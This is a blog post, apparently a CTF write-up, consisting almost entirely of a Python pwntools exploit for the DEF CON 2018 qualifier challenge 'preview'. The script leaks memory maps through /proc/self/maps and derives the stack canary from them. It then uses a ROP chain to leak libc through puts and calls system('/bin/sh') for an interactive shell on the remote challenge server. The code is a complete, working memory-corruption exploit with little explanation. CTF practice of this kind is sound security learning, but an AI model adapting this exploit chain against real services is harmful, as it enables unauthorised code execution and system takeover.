튜기's blogggg

2018 DEFCON_qual ddtek_preview

by St1tch





from pwn import *
#import stitch

def logdebug() : exec( "context.log_level = 'debug'" )
def loginfo()  : exec( "context.log_level = 'info'" )
def logerror()  : exec( "context.log_level = 'error'" )
send = lambda *pays: [s.send(str(pay)) for pay in pays]
sendline = lambda *pays: [s.sendline(str(pay)) for pay in pays]
sendafter = lambda token, *pays: [s.sendafter(token, str(pay)) for pay in pays]
sendlineafter = lambda token, *pays: [s.sendlineafter(token, str(pay)) for pay in pays]
p64 = lambda *x : flat(*x, word_size=64)
p32 = lambda *x : flat(*x, word_size=32)
padd64 = p64(0xffffffffffffffff)
padd32 = p32(0xffffffff)
pause = lambda x='' : raw_input(log.info('Paused {}'.format(x)))
execmd = lambda cmd : subprocess.check_output(cmd, shell=True)

def pow_hash(challenge, solution):
    return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()

def check_pow(challenge, n, solution):
    h = pow_hash(challenge, solution)
    return (int(h, 16) % (2**n)) == 0

def solve_pow(challenge, n):
    candidate = 0
    while True:
        if check_pow(challenge, n, candidate):
            return candidate
        candidate += 1


def solver() :
    sleep(0.5)
    s.sendline('HEAD /proc/self/maps\x00' + 'A'*0x42)
    s.recvuntil('preview:\n')
    tmp = s.recvline()
    if 'ld' in tmp:
        ld = int(tmp.split('-')[0], 16)
        s.recvline()
        s.recvline()
        s.recvline()
        code = int(s.recvline().split('-')[0], 16)
        s.recvline()
        bss = int(s.recvline().split('-')[0], 16)
    else:
        code = int(tmp.split('-')[0], 16)
        s.recvline()
        bss = int(s.recvline().split('-')[0], 16)
        ld = int(s.recvline().split('-')[0], 16)
    canary = (code >> 4) | (ld << 24)
    s.clean()
    log.info('code = {}'.format(hex(code)))
    log.info('canary = {}'.format(hex(canary)))
    
    pop_rdi = code + 0x10b3
    trigger = code + 0x1046
    puts_got = code + 0x202020
    puts_plt = code + 0x9e0

    pay = 'a'*0x58
    pay += p64(canary)
    pay += 'b'*8
    pay += p64(pop_rdi)
    pay += p64(puts_got)
    pay += p64(puts_plt)
    pay += p64(trigger)
    sleep(0.5)
    s.sendline(pay)
    
    s.recvuntil('request\n')
    libc.address = u64(s.recv(6).ljust(8, '\x00')) - libc.symbols['puts']
    if (libc.address < 0) or (hex(libc.address)[-3:] != '000'):
        raise
    log.info('libc_base = {}'.format(hex(libc.address)))
    binsh = list(libc.search('/bin/sh'))[0]
    
    pay = 'a'*0x58
    pay += p64(canary)
    pay += 'b'*8
    pay += p64(pop_rdi)
    pay += p64(binsh)
    pay += p64(libc.symbols['system'])
    s.sendline(pay)

    s.interactive()

if __name__ == '__main__' :
    prob = 'preview'
    if len(sys.argv) == 1:
        s = process(prob)
        pid = util.proc.pidof(s)[0]
        l_base = [s.libs()[d] for d in s.libs() if 'libc' in d][0]
        log.info('pid = {}'.format(pid))
        log.info('libc_base = {}'.format(hex(l_base)))
        libc = ELF([d for d in s.libs().keys() if 'libc' in d][0])
    else :
        s = remote('cee810fa.quals2018.oooverflow.io', 31337)
        libc = ELF('./libc-2.23.so')
        chal, _, n = s.recvuntil('Solution').split()[3:6]
        print chal, n
        res = solve_pow(chal, int(n))
        s.sendline(str(res))

    pause()
    solver()


블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기